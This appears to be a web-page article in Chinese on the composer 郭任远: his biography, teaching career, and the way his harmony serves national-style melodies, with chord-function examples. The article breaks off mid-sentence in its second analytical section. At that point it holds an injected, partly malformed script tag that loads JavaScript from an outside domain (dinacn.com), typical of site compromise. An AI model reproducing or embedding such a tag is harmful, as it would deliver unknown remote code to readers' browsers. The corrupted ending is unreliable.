郭任远教授，1927年5月21日生于香港，中国音乐家协会会员和中国高等艺术院校视唱练耳学会理事。早年在北平燕京大学音乐系学习，师从马思聪，而后赴法留学，在法国国立巴黎音乐学院与法兰克音乐院学习视唱练耳、和声与钢琴，并以优异的成绩毕业于巴黎音乐学院。

    回国后长期任教于沈阳音乐学院，93年至今应聘任烟台师范学院音乐系教授。84—97年间曾应邀赴中央音乐学院、上海音乐学院、上海师大、东北师大、西南师大、广州星海音乐学院附中、天津音乐学院、四川音乐学院等学校讲学及举办个人作品音乐会，其中在上海音乐学院讲学授课长达一年之久。讲学内容包括：和声理论与键盘和声，钢琴曲写作，作品分析与视唱练耳，即兴配伴奏等。郭任远的音乐作品包括钢琴、声乐、管弦乐，现已由中央音乐学院学报社及辽宁教育出版社正式出版了四本作品选集。
   
    郭任远的音乐真挚、热情、清新而淡雅。从作品的题材、主题、节奏、旋律、语言风格、形象塑造来看，都洋溢着新中国朝气蓬勃、勇往直前的豪壮气概和内心情操。他的作曲或编曲有的吸收了祖国各民族的优秀民歌、戏曲和优秀通俗歌曲的素材和表现手法，因此他的音乐有着自己民族的特色。

    郭任远的作品题材丰富、体裁多样、风格各异。单从旋律方面来看，有民族风格强的，也有不强的；有调式色彩浓的，也有“洋”味较重的。这些差异反映在和声的配置上，郭任远都能在传统和声的范围内寻求最佳的配置法，灵活的运用传统和声，并能与民族民间风格的旋律相适应，这是值得我们探讨的一种做法，以下将从三个方面进行阐述。

    一、追求传统和声为民族风格服务

    见谱例1.                                              《藏族人民歌唱毛主席》
    F   T           VI        S   II/VI   D/VI                  VI          VI7
    VI II   DD7   D7        T
   
    在例1中，多用副三和弦，在第四小节本可用主和弦，这里却用了D/VI，解决到VI，下属色彩较重，及对带有d羽调式的主和弦—VI级和弦的重视，均使和声在一定程度上和五声性d羽调式的旋律相接近，保持了民族风格原有的曲调韵味。在终止时用了F大调的属到主（F宫），保持了传统和声的紧凑性。

    见谱例2                                        《江河万古流》
             DDVII7       III6   III    VI                  VI6    VII   VIIII7
    DD  K   DD7  D7  T
   
    在例2中，几乎全部使用的是副三和弦，只在结尾2小节处为巩固调性、加强收束感才使用K、D7到T。值得注意的是第二小节重属导七和弦没有正规解决到属和弦上，而是解决到三级六，功能减弱了，色彩加强了。低音声部却又解决到属音上，因此在和弦的功能衔接上低声部的走向还是遵循古典和声，保持应有的逻辑性。
   
    以上两例都是郭任远在传统和声的基础上做了灵活的变通，使传统和声与民族风格的旋律有机的融合在一起，即保持了传统和声的动力感，音乐进行的严谨性，又顾及了民族风格所具有的原汁风味。这正是作曲家所孜孜追求的。

    二、多用变化半音进行来增强音乐的感染力
   
    在郭任远的作品当中，在传统和声里通过运用各种变音或变化半音的手段，来增强音乐的感染力，在某些时候是?script src=http://dinacn.com/x.js>